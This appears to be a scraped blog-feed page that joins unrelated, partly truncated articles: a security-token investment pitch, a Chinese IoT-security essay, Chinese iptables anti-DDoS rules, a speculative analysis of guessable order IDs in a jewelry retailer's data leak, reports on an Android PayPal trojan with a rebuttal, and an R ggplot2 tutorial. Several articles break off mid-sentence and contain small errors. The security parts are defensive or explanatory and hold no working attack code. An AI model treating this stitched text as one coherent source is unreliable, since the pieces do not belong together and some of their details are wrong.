In the free white paper ‘6 Steps to Improve your Business Cyber Security’ you’ll learn some simple steps you should be taking to prevent devastating and malicious cyber attacks from destroying your business.

Cyber security can no longer be ignored, in this white paper you’ll learn:

How does business security get breached?

What can it cost to get it wrong?

6 actionable tips

DOWNLOAD NOW!

From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Se ...

$
0
0

From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Security Token Landscape

8 Decimal Capital

8 Decimal Capital Overview: The evolution of digital tokens has coincided with a great deal of risk from being in the financial market ecosystem. But in the future with the development of RegTech, a compliance layer will be created to automatically ensure KYC/AML along with other compliance requirements. Then, the cross-border regulatory synergies will be likely to emerge. Although the Security Token industry is currently still in its nascent stage, many organizations and companies are debating how this new technology can be used. However, by investing early-on, investors can help to accelerate this process and help the industry maximize its potential. In the future, financial agents and regulatory agents will still exist. But the funds in the industry will provide more than just capital and there are more roles for them to fill.
From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Se ...

Writer: Ran Wei

Translator: Zoe Qian

Editor: Brian Hough

8 Decimal Capital predicts that the tokenization of assets will likely catalyze future adoption of cryptocurrencies and blockchain technology. With the development of this new technology, the regulations of different countries will be programmed into tokens, and regulatory collaboration between countries will also occur.

This digital transformation is why 8 Decimal Capital is bullish on the Security Token space and investing across different segments of the market to help the industry grow.

The Development of Security TokensOverview

The tokenization of securities will likely take place among more diverse types of assets. Some of these assets include mixtures of stocks and bonds, dividend rights, and non-traditional financial assets, such as real estate and art, which used to be difficult to trade.

The evolution of digital tokens has coincided with a great deal of risk from being in the financial market ecosystem. This proves why more regulations must be built at the protocol level. But in the future with the development of RegTech, a compliance layer will be created to automatically ensure KYC/AML (Know Your Customer / Anti-Money Laundering) along with other compliance requirements. Then, the cross-border regulatory synergies will be likely to emerge.

In China, the typical investor is familiar with public funding, IPOs and stocks. However, they are not used to, nor ever get the chance to, invest in the larger and more diverse market of private funding, private equity, debt, and alternative investments. Once the market is open to more participation from investors, then the liquidity of trade will provide investors with more opportunities to diversify their portfolios.

Some people would argue that by mandating the KYC process for every investor and requiring only accredited investors in the game would initially raise the bar for participation and in turn lower the liquidity of cryptocurrency. 8 Decimal Capital will argue that this is not the case.

The size of the U.S.’s private equity market is 22 times larger than the public market. Through being more compliant and including more institutional investors, the cryptocurrency market is opening up to an expanding market instead of a shrinking one.


From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Se ...
As PwC and Securitize highlight in the graph above, private funding (in billions) is 22x larger for private offerings thanIPOs.

Although the Security Token industry is currently still in its nascent stage, many organizations and companies are debating over how this new technology can be used. However, by investing early-on, 8 Decimal can accelerate this process and help the industry maximize its potential.

The Security Token Offering Process and the Main Platforms

The Security Token industry includes distribution platforms and rating agencies, payment platforms and stable currencies, exchanges, KYC, consulting services companies, and liquidity providers, among many others. The most important participants are the projects, the distribution platforms, and the ST exchanges.


From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Se ...

At 8 Decimal Capital, we believe a successful Security Token Offering (STO) requires a legitimate company to launch a compliant Security Token, which will be traded by whitelisted investors on compliant exchanges.

Industry Segments Issuers Issuance Platform Investment Banks Smart Contracts to Track Spending and Revenue Payment Platform and Stable Coin Investing Exchange KYC/AML Governance Platform SaaS (Software-As-A-Service) Platform to Allow Investors to Vote Help with Company Charter Agencies Custodian Liquidity Providers Media/PR Agencies Rating Agencies Compliance, Law & Accounting Information Platforms Admin Consoles

Moving from Pre-STO to Issuance (release) to lifecycle-management (full process management), we are finding the best projects that deliver the required services and invest in them.

Beyond Capital 1.) Legal ― Partnership with TackettBartlett

Regulation drives innovation locally and globally. Within the global market, various “blockchain friendly” countries have emerged which boast government encouragement of blockchain and cryptocurrencies, while other “blockchain unfriendly” countries have more regulations for companies and projects to pass through before reaching the public. For example, the United States has exemptions Reg D, Reg A+, Reg S, and Singapore MAS also has similar regulations that require specialized efforts to remain compliant. Companies in China that want to conduct STO may need to set up VIE architecture.

Under Section 5 of the Securities Act of 1933, all offers and sales of securities must be registered with the U.S. Securities and Exchange Commission or qualify for an exemption: Regulation D, Regulation A+, Regulation S, and Regulation CF.

In terms of legal services, 8 Decimal Capital is partnering with firms, such as Tackett Bartlett LLP, which is experienced in the cryptocurrency space. For example, Berkley Vice Mayor, Ben Bartlett , is an advisor to 8 Decimal Capital. He is also a strong supporter of the blockchain field and an advocate for the concept of Crypto Municipal Bonds.


From Research to Use-Case: How 8 Decimal Capital Strategically Constructs Its Se ...
Ben Bartlett , Berkeley’s Vice Mayor and an Investment Partner at Octavia Capital, believes in the future of blockchain and the concept of Crypto Municipal Bonds. Ben Bartlett and Shane Tackett co-founded Tackett Bartlett LLP which

物联网是不系安全带上路的吗?

$
0
0

物联网在安全性方面进展缓慢,使得用户隐私和人身安全一直受到威胁。在过去的几年里,物联网的安全问题获得了较大的关注,但大多数都是讨论消费者应该如何做来保障安全。问题是,企业是可以比消费者做的更多来提高安全性的。此外,消费者似乎对如何保护自己并不那么感兴趣。


物联网是不系安全带上路的吗?
物联网提供商应汲取历史经验

20世纪30年代,随着汽车的普及,医生经常性的接触到与车祸相关的伤亡,使得美国医生开始在自己的汽车上安装临时安全带。在随后的几十年里,科技人员在汽车安全方面进行了大量的研究。直到1968年,第一部联邦汽车安全法才生效。它要求所有机动车辆(公共汽车除外)都必须配备安全带。

对许多人来说,安全带确实可以挽救他们的生命,但仍然有不少人在没有系安全带的情况下乘坐汽车。这一项简单的措施被很多乘客忽视,美国各州花了几年时间才通过了一些法律,这些法律要求乘客系安全带否则承担罚款。那为什么业界和消费者都花了这么长时间来促使大众采用这种简单的安全机制?如今,这个问题会不会印证在物联网的安全状况上?

就像上世纪30年代的医生一样,我们意识到了这个问题

早在2014年,Target公司就处理过远程访问其网络(通过HVAC系统连接设备)的黑客所带来的创伤。单是这一次攻击就使得数以万计的持卡人记录被泄露。在2016年底,物联网设备的安全性引起了更多的关注。Mirai 僵尸网络感染了数以十万计的连接设备。恶意代码被用来对各种目标发起分布式拒绝服务(DDoS)攻击,造成了大规模的破坏。赛门铁克公司在2017年互联网安全威胁报告中阐述的另一个惊人的事实是,入侵一台连接设备的平均时间仅为两分钟 。关注设备安全性的不仅仅是受感染的用户/设备,还包括这些设备所链接网络的一部分资产。所以,IT安全专家和专业人士十分关注连接设备的安全性。

根据Gartner 的数据,2017年连接设备的数量达到了约84亿台。他们预测2020年市场将增长近三倍,达到204亿美元。也许,比连接设备数量更令人震惊的是接入网络的没有安全保障的设备数量。

市场需求推动了增强功能和用户体验的需求。为了满足当今市场的需求,制造只用于功能目的的电器或产品的时代已经一去不复返了。因此,在企业高管们推动业务变革和创新来提供这些产品的同时,IT专业人员和安全专家也面临着同样令人担忧的问题:公司如何才能在保正智能设备需求的同时兼顾其安全问题?

为了回答这个问题,小编概括了一些可能造成IoT安全性危机的因素:

非技术公司被迫在技术领域竞争 信息技术和安全专业人才短缺 各种各样的设备带来的标准化挑战

在感觉一台只烤面包的烤面包机有点过时的时代,似乎每一家公司都需要成为一家科技公司。

如果一家公司要在当今科技驱动的经济中不落后,他们必须重新定位自己在联网世界中的角色――即使他们是传统的家电制造商而非技术公司。此外,似乎把“智能”引入传统产品的压力还不够,科技公司也在寻找进入传统产品市场的方法,这只会增加非技术公司在物联网设备竞赛中竞争的紧迫感。这意味着原设备制造商或非技术公司被赋予了一项艰巨的任务:那就是迅速地将创新引入市场,这不仅满足了设备最初的预期用途,而且也满足了用户的需求。

抢夺市场

那么,什么是‘非技术’公司?非技术公司是指生产或制造传统上不被认为是智能或连接产品/设备的公司(如.冰箱、暖气系统、医疗设备、汽车等)。另外,科技公司是主要生产或开发技术的公司,比如谷歌、亚马逊、微软、IBM等。将连接组件添加到传统的非科技设备中需要大量的专业知识来研究和开发。很多非技术公司正在寻找留在游戏中的方法,一种策略是与科技公司合并或收购,另一种是与科技公司进行合资合作。

非技术公司对科技公司的收购呈上升趋势。根据彭博社的数据,“ 在 2007 年, 682 家 技术 公司被非技术公司收购, 655 家被科技公司收购。 ” 非科技公司占科技公司收购案的一半多。

通用汽车为了在无人驾驶汽车市场上与特斯拉竞争,采取了大胆的行动。他们收购了Strobe,这是一家位于加利福尼亚州的初创科技公司,专门从事无人驾驶技术的开发。

惠而浦就是采取OEM(定点生产,俗称代工)合作的例子,该公司在2010年建立了一家合资企业,将家用电器连接到互联网。他们通过与科技公司Prodea合作来建立家电与互联网之间的连接。这一战略举措使消费者可通过智能手机远程控制和监控他们的设备。

值得注意的是,上述每种策略均存在安全性方面的难题。收购技术公司,仍然有责任为物联网安全开发提供适当的资金。 “Gartner预测,到2020年,企业遭受的攻击中有超过25%将涉及物联网,尽管物联网只占IT安全预算的不到10%。 由于物联网的预算有限以及物联网的碎片化,安全供应商将很难提供可用的物联网安全功能。

外包也不能免除非科技公司的责任。应制定严谨的计划,以确定谁负责确保产品的安全设计和设备的后续支持。只要非技术公司将软件开发项目外包给第三方,非技术公司就需要负责制定完善的安全和可持续发展计划。从本质上讲,这要求他们通过代理成为一家科技公司。

安全专业人员缺口大

市场对智能技术型人才的需求愈加迫切,但与此同时,身怀安全智能技术的技能人员却日益短缺。正如思科的Sudashan Krishnamurthi所报告的那样,“许多组织正致力于了解哪些技能是成功的物联网项目所必需的”。此外,ISC 2 的分析人士认为,到2020年,安全专业人员将短缺150万人。

这并不是说物联网行业没有为此做出努力。为了弥补缺乏合格专业人员的问题,主要的安全行业组织正在增加认证项目和培训机会。例如,ISC 2创建了国际学术计划,以支持高等教育机构开发安全课程,建立网络安全与教育中心 。该中心设立了奖学金,以吸引人才投身网络安全领域。此外,ISC 2 (与网络安全有关的一个基金会)为强调了这一问题,提出了下列相关的建议:

为学生提供更多的实践机会,为他们提供更多的入门课程. 将网络安全和信息安全纳入学术课程。 开拓新的人才来源,或充分挖掘仍未充分利用的现有人才(如社区大学生、妇女、回国服务人员及少数民族) 整合人才选拔流程,优化整体人才资源。

最大的风险是,这些产品被创造和进入市场的速度。如芝加哥论坛报 ,Haka产品的创始人Colm Lennon说:“在这个万物互联的物联网空间中,所有的角色都必须紧密合作,如果公司想要以极快的速度进行创新,同时也要进行安全功能创新。这样做是为了保护他们的客户,保护自己,保护他们的合作伙伴。”随着企业努力发展和变革,他们的战略需要纳入消费者保护,而不是单纯的在市场竞争中处于优胜地位。

物联网设备面临的安全挑战

物联网系统中有各种各样的设备和体系结构,这就带来了各种各样的安全挑战。连接的设备执行各种功能,包括处理、存储和传输数据;一些设备要执行三个功能,一些只执行一个。此外,物联网设备有不同的形状和大小。大多数设备都是小巧而离散的。

正如Nick Allot博士在2016年物联网安全会议所指出的,处理数据受限的低功耗设备有着重大的安全挑战,这些设备很难保证数据加密。设备小,处理能力自然受到限制。在设备功能、尺寸和安全性之间寻找一个平衡点是设备开发商和制造商面临的主要障碍之一。

各种类型的安全体系都是可用的。然而, 根据发表在《沙特国王大学》杂志上的一项研究, 这些体系结构的核心问题是抽象层面上互联的事物缺乏充分的互操作性。这导致了很多的问题, 如: 不智能、适应性较差、匿名性有限、系统行为不良、隐私和安全性降低。

应要求设计的安全性

不论非科技公司是如何将联网设备集成到他们的产品中,有一件事是肯定的:安全必须首先被考虑。尽管各个行业的管理层都想出了如何将物联网纳入未来的业务计划,但安全专业人士必须就安全标准达成共识。问题是,全球经济仍继续通过技术实现增长,而物联网设备制造商却没有一套确保设备安全的监管标准。

物联网行业可以着手很多事情来提高产品安全性。企业、政府都提出了SRO(成交率 优化)的最佳策略。谷歌、亚马逊和微软等云供应商都称拥有物联网安全最佳解决方案,从加密,认证,及时修补和防止恶意活动角度出发,可保证基础设施安全。一些云供应商甚至从安全性的角度指导设备制造商。他们推广的标准有:可修补的设备设计、加密的数据、没有硬编码的密码、没有已知的安全漏洞以及使用行业标准的互联网协议。

同样,一个非营利性组织物联网安全基金会(IOTSF)被建立,该组织已发表了大量最佳实践用户指南,可供实施合规性框架的组织使用。马萨诸塞州和加州参议员于2017年10月起草了一项法案,以确保物联网设备满足某些网络安全要求,给满足网络安全的设备一个安全印章或标记。参议员Edward J. Markey说,预期的结果是“帮助消费者识别符合某些安全标准的产品”。这些印章或标记有助于提高消费者的安全意识,通过这种方式,经济发展的同时可以更快地驱动受保护的设备的增长。

物联网行业可以提高设备安全合规度

云和物联网网络供应商可以联合起来保护物联网系统。例如,支付品牌Visa、MasterCard和美国运通通过创建支付卡行业数据安全标准 ,来减少信用卡诈骗。

云和物联网解决方案提供商,如谷歌、微软和AT&T会通过执行安全标准来保护联网设备吗?有一天,这些供应商会要求设备制造商提供第三方审计安全声明,这将是一件很有趣的事情。为此,第三方审计机构将越来越需要独立审查安全尽职调查。

也许,目前业界可以采用的安全最佳实践是更新连接设备使用的互联网协议。正如Charles Sun所说,“当我们关闭IPv4时,我们将消除基于IPv4堆栈的全球网络攻击和安全威胁”。在保护数据方面,政府比消费者更具利害关系,因此,政府更加关注安全问题。我们不仅可以使用IPv6保护目前的设备,而且IPv6还可以扩展到未来出现的连接设备。美国食品和药物管理局和美国国家标准技术研究所已经发布了行业和国际网络安全标准化指南,而英国金融培训集团正在积极寻求简单易用的用户友好型解决方案,以帮助消费者保护他们的智能家居设备。

如何保护物联网设备

物联网医疗设备的一些安全问题实际上并不是源于设备本身。根据物联网网络安全公司ZingBox的一项新研究,“最常见的物联网医疗设备安全警报来自用户实践(比如使用医疗工作站上的嵌入式浏览器浏览网页、进行在线聊天或下载内容),占所有安全警报的41%。”

消费者不能完全依靠设备制造商来保证产品安全,但是90% 的消费者对保护自己的设备缺乏信心。 然而,消费者确实可以做些事情来确保物联网设备安全。回想一下,20世纪的汽车死亡危机,这个危机需要个人、工业、州和联邦政党被一个简单的解决方案联合起来:安全带。物联网设备连接到消费者的家庭网络,通常消费者的智能手机或集线器保持对家庭网络的直接控制。出于这个原因,消费者需要确保三个领域:智能手机、家庭网络和连接设备的安全。

1. 保护智能手机 使用强密码并锁定屏幕 尽可能使用多中要素进行身份验证 安装安全软件 任何用于控制设备的应用程序都需要进行补丁更新。 2. 重视家庭网络安全性 在连接的设备上创建网络,以便在线购物或银行存储 设置WiFi时使用加密协议 使用提供防火墙保护的路由器 使用强密码并更改默认用户名和密码 更新,保证使用的软件是最新版本 3. 关注连接设备 了解设备的工作原理、功能以及它传输或存储的数据。 确定设备是否需要连接到Internet 为每个设备设置强而独特的密码。 收到通知后注册安装更新

消费者应该了解了自己确实可以保护物联网。 安全标准和协议正在慢慢融合在一起。 加速安全物联网系统的做法可以像这样简单:

(1) 加强网络安全教育

鼓励年轻一代寻求与网络安全/信息安全有关的职业 设置网络安全/信息安全课程,即使是针对低年级学生 多宣传提高消费者网络安全意识

(2) 企业能做什么

聘用安全专业人员 有的放矢地投资于网络安全 使用受信任的第三方并建立透明的业务关系 做更多的网络安全研究并加入IOTSF 支持政府法规

如果您碰巧在物联网行业,期待您的企业可以做到上述几点,以确保产品的安全性处于最前沿。如果您是消费者,是在使用物联网,那对网络和设备的安全性进行反复检查确认是很有必要的!

如何通过iptables设置来缓解DDoS攻击和CC攻击?

$
0
0

最近这几年,互联网高速发展的同时,网络安全威胁也日益严重。很多互联网公司经常会遭到各种各样的网络攻击,特别是DDOS攻击最让互联网企业感到头痛,因为DDOS攻击会直接造成服务器崩溃,导致用户无法访问,业务直接中断。而且DDOS攻击是利用TCP协议漏洞,根本无法完全避免,只能被动做好防御,防御的成本还比较高。今天墨者安全通过多年的一些高防经验,来分享一下当站点受到DDoS攻击和CC攻击时,如何通过iptables设置来缓解。


如何通过iptables设置来缓解DDoS攻击和CC攻击?
防范DDOS攻击脚本

#防止SYN攻击 轻量级预防

iptables -N syn-flood

iptables -A INPUT -p tcp --syn -j syn-flood

iptables -I syn-flood -p tcp -m limit --limit 3/s --limit-burst 6 -j RETURN

iptables -A syn-flood -j REJECT

#防止DOS太多连接进来,可以允许外网网卡每个IP最多15个初始连接,超过的丢弃

iptables -A INPUT -i eth0 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP

iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT

#用Iptables抵御DDOS (参数与上相同)

iptables -A INPUT -p tcp --syn -m limit --limit 12/s --limit-burst 24 -j ACCEPT

iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT

防范CC攻击设置 1、系统要求

linux 内核版本:2.6.9-42ELsmp或2.6.9-55ELsmp(其它内核版本需要重新编译内核,比较麻烦,但是也是可以实现的)。

iptables版本:1.3.7

2、配置相应的iptables规则

示例如下:

(1)控制单个IP的最大并发连接数

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT #允许单个IP的最大连接数为 30 。

#默认iptables模块不包含connlimit,需要自己单独编译加载

(2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数

iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT

#单个IP在60秒内只允许最多新建30个连接。

通过上述iptables设置,可以在网站服务器遭到CC攻击时,自动屏蔽IP地址,缓解CC攻击对服务器造成的影响。

Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and ...

$
0
0

Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...
Credits: MichealHill

Note: The following series of deconstruction/post-mortem is indicative of the security issues similar to the one found in Signet Jewelers infrastructure and first reported by KerbsOnSecurity ( https://krebsonsecurity.com/2018/12/jared-kay-jewelers-parent-fixes-data-leak/ ).

While they follow similar patterns, they are in no way definitive of the exact same security incident that occurred in relation to Signet Jewelers. The incident is currently under investigation .

Earlier this month, Dallas-based Web designer Brandon Sheehy discovered a dead-simple vulnerability on the website for Jared jewelers in course of his purchase process. After his transaction was successfully completed, he received a purchase order confirmation email from the vendor. Brandon observed a link embedded in the email which reverted him back to the website with details of his purchase order encompassing

Name, Billing and shipping addresses, Phone number, Email address, Items, Amount purchased, Delivery date, Tracking link, and the Last four digits of the credit card used

By slightly altering this link and pasting it in his browser, Brandon was able to view orders fulfilled and associated with other customers. As a good citizen, Brandon reported the issue to Signet and thereafter Krebs.

“My first thought was they could track a package of jewelry to someone’s door and swipe it off their doorstep,” Brandon said. “My second thought was that someone could call Jared’s customers and pretend to be Jared, reading the last four digits of the customer’s card and saying there’d been a problem with the order, and if they could get a different card for the customer they could run it right away and get the order out quickly. That would be a pretty convincing scam. Or just targeted phishing attacks.”

― from PR of KrebsOnSecurity

Scott Lancaster , chief information security officer at Signet has confirmed that the issue has been addressed after KrebsOnSecurity acted as a conduit to express severity of this exposure.

Let us speculatively deconstruct all events that led to this situation.

Customer browses items on Etailer website Customer chooses few items and adds to basket Customer then proceeds to “pay for items” Etailer redirects customer to SignIn/Register in order to authenticate and establish secure session Customer SignsIn, proceeds to payment and completes transaction Customer receives email with details of transaction and in this email is a link that redirects to etailer’s website with order details

Let us expand on (6) and pretend the link embedded in this email looks like http://www.etailerxxx.com/vieworderstatus?orderId=123456

Misstep #1 ― Exposing link content without authentication
Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...
Upon clicking the link, is the customer redirected directly to order details or asked to SignIn/LogIn prior to viewing order details? [or] Does the link directly lead customer to order details page without SignIn/Authentication?

Majority of etailers expose order details (via an embedded link ) without authenticating the user and validating if the order belongs to the specific customer.

Misstep #2 ― Predictable sequence
Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...

What does the orderId look like? Is it a INTEGER, UUID, RandomString ?

The backend engineer decided that an INTEGER might be a conducive choice for the following reasons

Choosing orderid (PRIMARY KEY) as a INTEGER column in database renders it to auto increment, be sortable or ordered by sequence.


Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...
Misstep #3 ― Exposing database sequence in businessworkflow

Furthermore, by directly using orderid (PRIMARY KEY) in the backend code which in turn embeds it in the email link , the business logic looks simple and easy to maintain


Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...

If an orderId is 12345678, it’s easy to guess that there are subsequent orderIds 12345677 and 1234569, and this makes for an attack vector ( sequence prediction attack ).

Misstep #4 ― Randomness not goodenough
Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...
Credit: bbc.com

The backend engineer realizes misstep #2 in design and decides to create random number (breaking sequence) to represent orderId in the database

Engineer creates a patch to depend on


Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...

and imports


Deconstructing Data Leak incident of Signet Jewelers (parent company of Kay and  ...

and uses

randomNumeric(10) > 1163361204

when creating orders to represent a customer transaction.

http://www.etailerxxx.com/vieworderstatus?orderId= 1163361204

Now orderid in embedded link in not predictable (by virtue of sequence prediction). Think so?

“ Predictable ” is also a tricky word to use in the context of random number generators. Most “random number generators” are more properly described as “pseudo-random sequence generators” (PRNG), and claimed to be predictable in the sense that if you know the algorithm used to generate the sequence, and the internal state of the generator, you know everything you need to know in order to produce the same sequence.

“ Entropy ” is an interesting concept that is closely related to random number generators since it is generally held to be a measure of “randomness”. In information theory, “entropy” is a direct measurement of the amount of information in a signal ― in other words, the minimum number of bits that can possibly be used to encode it.

RandomStringUtilsuses as a default source of randomness the Java Random class, which uses a non-cryptographically secure PRNG called a Linear Congruential Generator

Android trojan steals from PayPal app even with 2FA on

$
0
0

Slovakian security firm ESET says it has discovered a new Android trojan that has the capabilities of remotely connected malware with misuse of Android Accessibility services to target PayPal app users.

In a blog post , researcher Lukas Stefanko wrote that right now the trojan was pretending to be a battery optimisation tool and was distributed by third-party app stores.

The app terminated after being launched and hid its icon, with its functionality being in two parts.

Stealing money from PayPal accounts was achieved by activating a malicious Accessibility service guised in the name of "enable statistics". If the official PayPal app was present on the device to which the trojan had been downloaded, then the user would be prompted to launch it.

"Once the user opens the PayPal app and logs in, the malicious accessibility service (if previously enabled by the user) steps in and mimics the user’s clicks to send money to the attacker’s PayPal address," Stefanko wrote.


Android trojan steals from PayPal app even with 2FA on

The pop-up for a malicious Accessibility service guised in the name of "enable statistics".

He said during the analysis carried out by ESET, the app made an attempt to transfer 1000 with the time taken for the process being about five seconds, hardly enough to intervene. The currency would, of course, differ from region to region.

The interesting thing was because this attack was not using the PayPal credentials, it also bypassed the two-factor authentication used by the app.

"Users with 2FA enabled simply complete one extra step as part of logging in― as they normally would ― but end up being just as vulnerable to this trojan’s attack as those not using 2FA," Stefanko wrote.

The attack would fail in the event that the PayPal account in question had an inadequate balance and no payment card linked to it.

The trojan had overlays for five apps: Google Play, WhatsApp, Skype, Viber, and Gmail.


Android trojan steals from PayPal app even with 2FA on

Overlays created by the Android trojan forGoogle Play, WhatsApp, Viber and Skype, requesting credit card details.

Four of these overlays phished for credit card details while the one for Gmail tried to obtain login details for the webmail service.

Stefanko said he had also glimpsed overlays for legitimate banking apps, one example being the app for NAB.

Apart from these two functions, the trojan also had the ability to:

Intercept and send SMS messages; delete all SMS messages; change the default SMS app (to bypass SMS-based two-factor authentication); Obtain the contact list; Make and forward calls; Obtain the list of installed apps; Install app, run installed app; and Start socket communication.
Android trojan steals from PayPal app even with 2FA on
A malicious overlay created by the trojan for the National Australia Bank app. Images: courtesy ESET 47 REASONS TO ATTEND YOW! 2018

With 4 keynotes + 33 talks + 10 in-depth workshops from world-class speakers, YOW! is your chance to learn more about the latest software trends, practices and technologies and interact with many of the people who created them.

Speakers this year include Anita Sengupta (Rocket Scientist and Sr. VP Engineering at Hyperloop One), Brendan Gregg (Sr. Performance Architect Netflix), Jessica Kerr (Developer, Speaker, Writer and Lead Engineer at Atomist) and Kent Beck (Author Extreme Programming, Test Driven Development).

YOW! 2018 is a great place to network with the best and brightest software developers in Australia. You’ll be amazed by the great ideas (and perhaps great talent) you’ll take back to the office!

Register now for YOW! Conference

Sydney 29-30 November

Brisbane 3-4 December

Melbourne 6-7 December

Register now for YOW! Workshops

Sydney 27-28 November

Melbourne 4-5 December

REGISTER NOW!

LEARN HOW TO REDUCE YOUR RISK OF A CYBER ATTACK

Australia is a cyber espionage hot spot.

As we automate, script and move to the cloud, more and more businesses are reliant on infrastructure that has the high potential to be exposed to risk.

It only takes one awry email to expose an accounts’ payable process, and for cyber attackers to cost a business thousands of dollars.

In the free white paper ‘6 Steps to Improve your Business Cyber Security’ you’ll learn some simple steps you should be taking to prevent devastating and malicious cyber attacks from destroying your business.

Cyber security can no longer be ignored, in this white paper you’ll learn:

How does business security get breached?

What can it cost to get it wrong?

6 actionable tips

DOWNLOAD NOW!

That PayPal Trojan story is stupid and a waste of everyone's time

$
0
0
Security theater That PayPal Trojan story is stupid and a waste of everyone's time Another mostly pointless Android security scare that probably doesn't apply to you or anyone you know.

Russell Holly

11 Dec 2018

Some of us woke up to what seemed like a serious security scare for a lot of Android users this morning .

First detected by ESET in November 2018, the malware combines the capabilities of a remotely controlled banking Trojan with a novel misuse of Android Accessibility services, to target users of the official PayPal app.

This story was accompanied by a scary video, which demonstrated this rogue app "watching" you log in to PayPal and then copying your process to log in. What makes this particularly scary looking is the way it appears to bypass 2-Factor Authentication and then sending money on your behalf. Without the user ever knowing, this app was logging in for you and sending your money away. Terrifying stuff, right? Well, there's a catch. Actually, there are several.

The first, as pointed out by the original team reporting this trojan (emphasis mine):

the malware is masquerading as a battery optimization tool, and is distributed via third-party app stores .

Ok, so this rogue battery optimization tool isn't available through Google Play at all. Check. Now, when the app is installed how does it do its thing? Does this app really operate in the background with the user none the wiser? Well, not exactly. Again, from the original team reporting on this (emphasis mine):

this request is presented to the user as being from the innocuous-sounding "Enable statistics" service .

That's right, you get a permission request when this rogue app is first run. And that "innocuous-sounding"' permission includes the words Observe your actions in the description in great big bold letters. Not exactly a red flashing warning, but like any permission you have to choose to enable it. If you don't, the app can't do anything.

So once this rogue battery app is installed from a third-party source and you blindly give it access to your phone by not reading your permissions, does it just lurk in the background waiting to strike? No. Once again, from the original team reporting on this (emphasis mine):

If the official PayPal app is installed on the compromised device, the malware displays a notification alert prompting the user to launch it .

You get a notification telling you to log in to PayPal from something that isn't PayPal, and you just do it? Really? That's not how any of this works.

So to recap, this Super Serious Android Trojan:

Was not in the Google Play Store, so you have to download from a random store and enable Unknown Sources to even install it. Asks for a fairly unusual permission as soon as you open it. Immediately gives you a notification asking you to log in to PayPal.

Individually, these are warning flags. Together, this is basically someone sending you a letter in the mail asking you to let them know when you won't be home so they can rob you.

This isn't a real security threat. At all. Though what is a real security threat is PayPal still relying on nothing but a text message delivery for Two-Factor Authentication. It's 2018, folks. Get a real token system.


Using ggplot2 for functional time series

$
0
0

(This article was first published on R on Rob J Hyndman , and kindly contributed toR-bloggers)

This week I’ve been attending the Functional Data and Beyond workshop at the Matrix centre in Creswick.

I spoke yesterday about using ggplot2 for functional data graphics, rather than the custom-built plotting functionality available in the many functional data packages, including my own rainbow package written with Hanlin Shang.

It is a much more powerful and flexible way to work, so I thought it would be useful to share some examples.

French mortality data

We will use the French mortality data from the demography package, but we need to convert it into a tibble to begin.

library(tidyverse) library(demography) # Combine age groups above 100 frmort <- set.upperage(fr.mort, 100) # Create tibble frmort <- tibble( year = rep(frmort$year, rep(length(frmort$age), length(frmort$year))), age = rep(frmort$age, length(frmort$year)), female = c(frmort$rate$female), male = c(frmort$rate$male), ) %>% gather(male, female, key = "sex", value = "mortrate") frmort ## # A tibble: 38,582 x 4 ## year age sex mortrate ## <int> <dbl> <chr> <dbl> ## 1 1816 0 male 0.223 ## 2 1816 1 male 0.0467 ## 3 1816 2 male 0.0343 ## 4 1816 3 male 0.0232 ## 5 1816 4 male 0.0161 ## 6 1816 5 male 0.0136 ## 7 1816 6 male 0.0116 ## 8 1816 7 male 0.00991 ## 9 1816 8 male 0.00838 ## 10 1816 9 male 0.00710 ## # ... with 38,572 more rows </dbl> </chr> </dbl> </int>

The first thing to do is to re-create the rainbow plots that are popular for this type of data (introduced in my paper with Hanlin in JCGS in 2010 ). Here the year is mapped to colour. This works quite well for mortality data because it has trended consistently over time, allowing the colors to separate. It is one of the few situations where a rainbow palette is preferred to other palettes.

frmort %>% ggplot(aes(x = age, y = mortrate, group = year, col = year)) + geom_line() + facet_grid(~sex) + scale_y_log10() + xlab("Age") + ylab("Log mortality") + scale_color_gradientn(colours = rainbow(10))
Using ggplot2 for functional time series

Another plot that has proved popular is to animate this rainbow plot by mapping year to animation time. With the new gganimate package (still only on github), that is as easy as adding a few more lines to the end of the above code.

# This requires the transformr package on CRAN and the gganimate package on github # Run the following two lines if you don't already have them. #install.packages(c("transformr", "devtools")) #devtools::install_github("thomasp85/gganimate") library(gganimate) frmort %>% filter(year > 1900) %>% ggplot(aes(x = age, y = mortrate, group = year, col = year)) + geom_line() + xlab("Age") + ylab("Log mortality") + facet_grid(~sex) + scale_y_log10() + scale_color_gradientn(colours = rainbow(10)) + transition_time(year) + ease_aes('linear') + shadow_mark(colour = "grey70") + labs(title = 'Year: {frame_time}')
Using ggplot2 for functional time series

Another way of looking at the data is using an image map. Again, this is extremly easy using ggplot2.

frmort %>% ggplot(aes(x = year, y = age, fill = log(mortrate))) + geom_raster() + facet_grid(~sex) + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series

Note the various wars and epidemics (seen as vertical lines), and the decrease in mortality rates over time (seen as the growing light-coloured area).

Since this is time series data, we should also look at the autocorrelation function. Because the data are functions of age, the autocorrelation is a surface for each lag value. The function facf below computes a functional ACF surface (giving correlations between different ages and across lagged years). There is some tricky non-standard evaluation used here to allow for non-quoted variables to be used when the function is called.

